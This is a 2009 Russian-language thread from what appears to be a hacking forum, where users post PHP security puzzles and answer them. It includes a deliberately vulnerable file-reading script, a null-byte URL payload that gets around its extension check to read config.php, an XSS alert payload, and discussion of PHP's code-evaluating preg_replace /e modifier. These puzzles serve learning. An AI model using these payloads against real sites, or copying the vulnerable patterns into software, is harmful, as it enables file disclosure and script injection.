
22.06.2009, 12:47
|
|
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме: 3178262
Репутация:
389
|
|
Задание 015
Какое число будет записано в переменую id при регистр глобал ON, и объяснить ПОЧЕМУ.
PHP код:
POST => $id = 1
COOKIE => $id = 2
GET => $id = 3
PHP код:
<?ph
$id = $_REСQUEST['id'];
?>
Правильно не $_REСQUEST а $_REQUEST
При global On и опции GPC будет записанно 2
Потому что "C" (Cookie) в опции GPC стоит последней => будет записанна последней
Последний раз редактировалось FireFenix; 22.06.2009 в 12:49..
|
|
|

22.06.2009, 13:06
|
|
Познающий
Регистрация: 21.06.2006
Сообщений: 74
Провел на форуме: 2441743
Репутация:
222
|
|
Задание 009
В директории 2 файла: index.php , news.inc , config.php. Надо обойти защиту от расширения и прочитать файл config.php
PHP код:
<?php
$f = (string)@$_GET['f'];
$f = str_replace('/', '', $f);
$f .= .inc;
if (file_exists($f)) {
echo htmlspecialchars(file_get_contents($f)); }
else exit;
?>
magic_quotes_gpc = OFF
Код:
http://site.com/file.php?f=config.php%00
|
|
|

22.06.2009, 13:21
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
BlackSun
Задумывалось немного по другому
можно и так ... =)
[/IMG]<script>alert(/lol/)</script>[/IMG]
если воспользоватся возможностями html_entity_decode =)
|
|
|

22.06.2009, 13:46
|
|
Участник форума
Регистрация: 08.04.2008
Сообщений: 242
Провел на форуме: 2230263
Репутация:
229
|
|
кстати, может объяснит кто-то зачем замену делать в отдельной функции, я пробовал у себя так preg_replace("/(\d+)/", dechex("\$1"),$str); возвращает везде 0, не пойму почему так, буду благодарен, если кто-то разъяснит =)
|
|
|

22.06.2009, 13:57
|
|
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме: 3178262
Репутация:
389
|
|
При указании отдельной функции в регулярке - то при вхождении будет выполненна эта функция
|
|
|

22.06.2009, 13:57
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме: 1996429
Репутация:
468
|
|
Dechex($1)
|
|
|

22.06.2009, 14:42
|
|
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме: 4137635
Репутация:
2407
|
|
Забавно, получается, что самый короткий вариант:
PHP код:
$str=preg_replace("/(\d+)/e","'0x'.dechex($1);",$str);
|
|
|

22.06.2009, 15:03
|
|
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме: 3069349
Репутация:
808
|
|
Сообщение от d_x
Забавно, получается, что самый короткий вариант:
PHP код:
$str=preg_replace("/(\d+)/e","'0x'.dechex($1);",$str);
Почему не так:
Код:
$str=preg_replace('/\d+/e',"'0x'.dechex($0)",$str);
?
|
|
|

22.06.2009, 15:09
|
|
Участник форума
Регистрация: 08.04.2008
Сообщений: 242
Провел на форуме: 2230263
Репутация:
229
|
|
Оказывается мой вариант рабочий был =) зря только \ ставил.
|
|
|

22.06.2009, 15:10
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме: 1996429
Репутация:
468
|
|
Ну я смотрю некоторые люди заинтересовались заданиями... Хотелось бы услышить мнение ваше. Сначало были одни тупые возражения в мой адрес. А теперь? Когда задания "работают" ? Калие недостатки? Что не нравится? Итд.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|